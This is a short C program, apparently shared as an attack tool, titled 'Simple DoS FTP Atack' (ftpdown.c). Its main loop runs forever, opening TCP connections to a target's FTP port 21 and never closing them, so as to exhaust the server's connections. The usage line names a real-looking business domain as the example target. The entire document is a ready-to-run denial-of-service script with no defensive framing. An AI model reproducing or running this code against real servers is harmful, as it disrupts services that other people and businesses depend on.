Simple DoS FTP Atack

ftpdown.c

#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <resolv.h>
#include <stdlib.h>
#include <arpa/inet.h>

#define FTP_PORT    21
#define MAX_BUFFER  1024

int main(int argc, char *argv[])
{
    if (argc < 2)
    {
        printf("[!] no arguments given\n");
        printf("[!] usage: ./ftpdown [url]\n");
        printf("[!] eg.: ./ftpdown www.grandbusiness.com.br\n");
        return 0;
    }
   
    char *url = argv[1];

    struct hostent *host;
    host = gethostbyname(url);
    char *ip = inet_ntoa( *((struct in_addr*) host->h_addr));

    int sockfd;
    struct sockaddr_in dest;
    char buffer[MAX_BUFFER];

    // to infinite and beyond!!
    // no, u mad?
    // too late, here we go!
    for (;;)
    {
        if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 )
        {
            printf("[!] unable to open socket for streaming");
            exit(errno);
        }
    
        bzero(&dest, sizeof(dest));
        dest.sin_family = AF_INET;
        dest.sin_port = htons(FTP_PORT);
        if ( inet_aton(ip, &dest.sin_addr.s_addr) == 0 )
        {
            printf("[!] unable to initialize the connection");
            exit(errno);
        }

        if ( connect(sockfd, (struct sockaddr*)&dest, sizeof(dest)) != 0 )
        {
            printf("[!] unable to connect to host %s, apparently it's already down", ip);
            continue;
        }

        bzero(buffer, MAX_BUFFER);
        recv(sockfd, buffer, sizeof(buffer), 0);
        printf("status [CONNECTION STABLISHED] | got message: %s", buffer);
    }
}